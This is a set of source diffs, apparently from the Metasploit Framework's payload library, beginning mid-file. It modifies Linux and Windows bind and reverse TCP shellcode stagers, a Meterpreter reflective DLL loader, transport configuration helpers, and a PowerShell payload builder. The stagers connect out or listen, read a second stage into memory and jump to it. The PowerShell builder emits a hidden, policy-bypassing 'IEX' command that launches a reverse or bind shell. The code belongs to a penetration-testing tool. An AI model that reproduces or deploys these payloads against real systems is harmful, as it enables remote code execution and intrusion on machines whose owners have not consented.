a_rank = module_rank(*a_pair)
|
||||
b_rank = module_rank(*b_pair)
|
||||
|
||||
# Compare their relevant rankings. Since we want highest to lowest,
|
||||
# we compare b_rank to a_rank in terms of higher/lower precedence
|
||||
b_rank <=> a_rank
|
||||
}
|
||||
self.sort_by { |pair| module_rank(*pair) }.reverse!
|
||||
end
|
||||
|
||||
# Retrieves the rank from a loaded, not-yet-loaded, or unloadable Metasploit Module.
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -14,31 +15,24 @@ module Msf
|
|||
|
||||
module Payload::Linux::BindTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
|
@ -50,19 +44,20 @@ module Payload::Linux::BindTcp
|
|||
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = 104
|
||||
space = cached_size
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
# Adding 6 bytes to the payload when we include the closing of the listen
|
||||
# socket
|
||||
space += 6 if close_listen_socket
|
||||
# TODO: coming soon
|
||||
#space += 14
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
|
@ -77,7 +72,6 @@ module Payload::Linux::BindTcp
|
|||
def asm_bind_tcp(opts={})
|
||||
|
||||
#reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
|
@ -99,10 +93,7 @@ module Payload::Linux::BindTcp
|
|||
mov ecx,esp
|
||||
mov al,0x66 ; socketcall syscall
|
||||
int 0x80 ; invoke socketcall (SYS_SOCKET)
|
||||
^
|
||||
|
||||
unless close_socket
|
||||
asm << %Q^
|
||||
; set the SO_REUSEADDR flag on the socket
|
||||
push ecx
|
||||
push 4
|
||||
|
@ -119,11 +110,8 @@ module Payload::Linux::BindTcp
|
|||
int 0x80
|
||||
xchg eax,edi ; restore the socket handle
|
||||
add esp, 0x14
|
||||
pop ecx
|
||||
^
|
||||
end
|
||||
pop ecx ; restore ecx
|
||||
|
||||
asm << %Q^
|
||||
pop ebx
|
||||
pop esi
|
||||
push edx
|
||||
|
@ -138,15 +126,8 @@ module Payload::Linux::BindTcp
|
|||
shl ebx,1 ; SYS_LISTEN
|
||||
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
|
||||
int 0x80 ; invoke socketcall
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
push eax ; stash the listen socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
inc ebx ; SYS_ACCEPT
|
||||
mov al,0x66 ; socketcall syscall
|
||||
mov [ecx+0x4],edx
|
||||
|
@ -156,16 +137,9 @@ module Payload::Linux::BindTcp
|
|||
mov al,0x3 ; read syscall
|
||||
int 0x80 ; invoke read
|
||||
xchg ebx,edi ; stash the accept socket in edi
|
||||
^
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
pop ebx ; restore the listen socket
|
||||
mov al,0x6 ; close syscall
|
||||
int 0x80 ; invoke close
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
jmp ecx ; jump to the payload
|
||||
^
|
||||
|
||||
|
|
|
@ -0,0 +1,128 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/linux'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse TCP payload generation for Linux ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Linux::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp(opts={})
|
||||
asm = asm_reverse_tcp(opts)
|
||||
buf = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
apply_prepends(buf)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = 300
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :host The host IP to connect to
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
# TODO: reliability is coming
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
||||
asm = %Q^
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
push ebx
|
||||
inc ebx
|
||||
push ebx
|
||||
push 0x2
|
||||
mov al, 0x66
|
||||
mov ecx, esp
|
||||
int 0x80 ; sys_socketcall
|
||||
xchg eax, edi
|
||||
pop ebx
|
||||
push #{encoded_host}
|
||||
push #{encoded_port}
|
||||
mov ecx, esp
|
||||
push 0x66
|
||||
pop eax
|
||||
push eax
|
||||
push ecx
|
||||
push edi
|
||||
mov ecx, esp
|
||||
inc ebx
|
||||
int 0x80 ; sys_socketcall
|
||||
mov dl, 0x7
|
||||
mov ecx, 0x1000
|
||||
mov ebx, esp
|
||||
shr ebx, 0xc
|
||||
shl ebx, 0xc
|
||||
mov al, 0x7d
|
||||
int 0x80 ; sys_mprotect
|
||||
pop ebx
|
||||
mov ecx, esp
|
||||
cdq
|
||||
mov dh, 0xc
|
||||
mov al, 0x3
|
||||
int 0x80 ; sys_read
|
||||
jmp ecx
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,71 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/payload/uuid_options'
|
||||
|
||||
##
|
||||
# This module contains helper functions for creating the transport
|
||||
# configuration stubs that are used for Meterpreter payloads.
|
||||
##
|
||||
module Msf::Payload::TransportConfig
|
||||
|
||||
include Msf::Payload::UUIDOptions
|
||||
|
||||
def transport_config_reverse_tcp(opts={})
|
||||
config = transport_config_bind_tcp(opts)
|
||||
config[:lhost] = datastore['LHOST']
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_ipv6_tcp(opts={})
|
||||
config = transport_config_reverse_tcp(opts)
|
||||
config[:scheme] = 'tcp6'
|
||||
config[:scope_id] = datastore['SCOPEID']
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_bind_tcp(opts={})
|
||||
{
|
||||
:scheme => 'tcp',
|
||||
:lhost => datastore['LHOST'],
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
end
|
||||
|
||||
def transport_config_reverse_https(opts={})
|
||||
config = transport_config_reverse_http(opts)
|
||||
config[:scheme] = 'https'
|
||||
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_http(opts={})
|
||||
# most cases we'll have a URI already, but in case we don't
|
||||
# we should ask for a connect to happen given that this is
|
||||
# going up as part of the stage.
|
||||
uri = opts[:uri]
|
||||
unless uri
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
uri = generate_uri_uuid(sum, opts[:uuid])
|
||||
end
|
||||
|
||||
{
|
||||
:scheme => 'http',
|
||||
:lhost => datastore['LHOST'],
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:uri => uri,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
}
|
||||
end
|
||||
|
||||
end
|
|
@ -24,6 +24,8 @@ module Msf::Payload::Windows
|
|||
require 'msf/core/payload/windows/dllinject'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/loadlibrary'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
|
||||
|
@ -32,10 +34,12 @@ module Msf::Payload::Windows
|
|||
#
|
||||
@@exit_types =
|
||||
{
|
||||
nil => 0, # Default to nothing
|
||||
'' => 0, # Default to nothing
|
||||
'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter
|
||||
'thread' => 0x0A2A1DE0, # ExitThread
|
||||
'process' => 0x56A2B5F0, # ExitProcess
|
||||
'none' => 0x5DE2C5AA, # GetLastError
|
||||
'none' => 0x5DE2C5AA # GetLastError
|
||||
}
|
||||
|
||||
#
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
|
@ -16,37 +17,33 @@ module Msf
|
|||
|
||||
module Payload::Windows::BindTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'].to_i,
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'].to_i,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -67,8 +64,7 @@ module Payload::Windows::BindTcp
|
|||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = 277
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
@ -78,11 +74,6 @@ module Payload::Windows::BindTcp
|
|||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
# if the payload doesn't need the listen socket closed then we save space. This is
|
||||
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
|
||||
# kicks off (needed for more reliable shells).
|
||||
space -= 8 unless close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -97,7 +88,6 @@ module Payload::Windows::BindTcp
|
|||
def asm_bind_tcp(opts={})
|
||||
|
||||
reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
|
@ -167,22 +157,12 @@ module Payload::Windows::BindTcp
|
|||
push edi ; listening socket
|
||||
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call ebp ; accept( s, 0, 0 );
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
push edi ; push the listening socket to close
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
^
|
||||
end
|
||||
push edi ; push the listening socket
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
|
@ -213,7 +193,6 @@ module Payload::Windows::BindTcp
|
|||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more: ;
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
|
|
|
@ -0,0 +1,98 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for ARCH_X86 payloads that make use of Meterpreter.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::MeterpreterLoader
|
||||
|
||||
include Msf::ReflectiveDLLLoader
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Meterpreter & Configuration RDI',
|
||||
'Description' => 'Inject Meterpreter & the configuration stub via RDI',
|
||||
'Author' => [ 'sf', 'OJ Reeves' ],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
|
||||
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
^
|
||||
|
||||
unless opts[:stageless]
|
||||
asm << %Q^
|
||||
mov [ebx], edi ; write the current socket to the config
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push ebx ; push the pointer to the configuration start
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter(stageless=false)
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Implements an overarching powershell payload generation module
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::Powershell
|
||||
|
||||
def generate_powershell_code(conntype)
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
mods = ''
|
||||
|
||||
if conntype == "Bind"
|
||||
script_in << "\npowerfun -Command bind"
|
||||
elsif conntype == "Reverse"
|
||||
script_in << "\npowerfun -Command reverse -Sslcon true"
|
||||
end
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -30,11 +30,7 @@ module Payload::Windows::ReflectiveDllInject
|
|||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
||||
'Stage' =>
|
||||
{
|
||||
'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
'Stage' => { 'Payload' => "" }
|
||||
))
|
||||
|
||||
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
|
||||
|
@ -44,65 +40,59 @@ module Payload::Windows::ReflectiveDllInject
|
|||
datastore['DLL']
|
||||
end
|
||||
|
||||
def stage_payload(target_id=nil)
|
||||
def asm_invoke_dll(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||
push edi ; push the socket handle
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; indicate that we have detached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
end
|
||||
|
||||
def stage_payload
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
exitfunk: 'thread' # default to 'thread' for migration
|
||||
}
|
||||
|
||||
bootstrap = "\x4D" + # dec ebp ; M
|
||||
"\x5A" + # pop edx ; Z
|
||||
"\xE8\x00\x00\x00\x00" + # call 0 ; call next instruction
|
||||
"\x5B" + # pop ebx ; get our location (+7)
|
||||
"\x52" + # push edx ; push edx back
|
||||
"\x45" + # inc ebp ; restore ebp
|
||||
"\x55" + # push ebp ; save ebp
|
||||
"\x89\xE5" + # mov ebp, esp ; setup fresh stack frame
|
||||
"\x81\xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader
|
||||
"\xFF\xD3" + # call ebx ; call ReflectiveLoader
|
||||
"\x89\xC3" + # mov ebx, eax ; save DllMain for second call
|
||||
"\x57" + # push edi ; our socket
|
||||
"\x68\x04\x00\x00\x00" + # push 0x4 ; signal we have attached
|
||||
"\x50" + # push eax ; some value for hinstance
|
||||
"\xFF\xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket )
|
||||
"\x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder
|
||||
"\x68\x05\x00\x00\x00" + # push 0x5 ; signal we have detached
|
||||
"\x50" + # push eax ; some value for hinstance
|
||||
"\xFF\xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk )
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" )
|
||||
return
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# patch the target ID into the URI if specified
|
||||
if target_id
|
||||
i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
|
||||
if i
|
||||
t = target_id.to_s
|
||||
raise "Target ID must be less than 5 bytes" if t.length > 4
|
||||
u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
|
||||
print_status("Patching Target ID #{t} into DLL")
|
||||
dll[i, u.length] = u
|
||||
end
|
||||
end
|
||||
|
||||
# return our stage to be loaded by the intermediate stager
|
||||
return dll
|
||||
dll
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
|
@ -17,6 +18,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseHttp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
@ -85,6 +87,13 @@ module Payload::Windows::ReverseHttp
|
|||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
@ -15,6 +16,7 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseHttps
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
|
@ -64,6 +66,13 @@ module Payload::Windows::ReverseHttps
|
|||
generate_reverse_https(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
|
@ -14,41 +15,35 @@ module Msf
|
|||
|
||||
module Payload::Windows::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
#
|
||||
# Register reverse_tcp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_tcp(
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
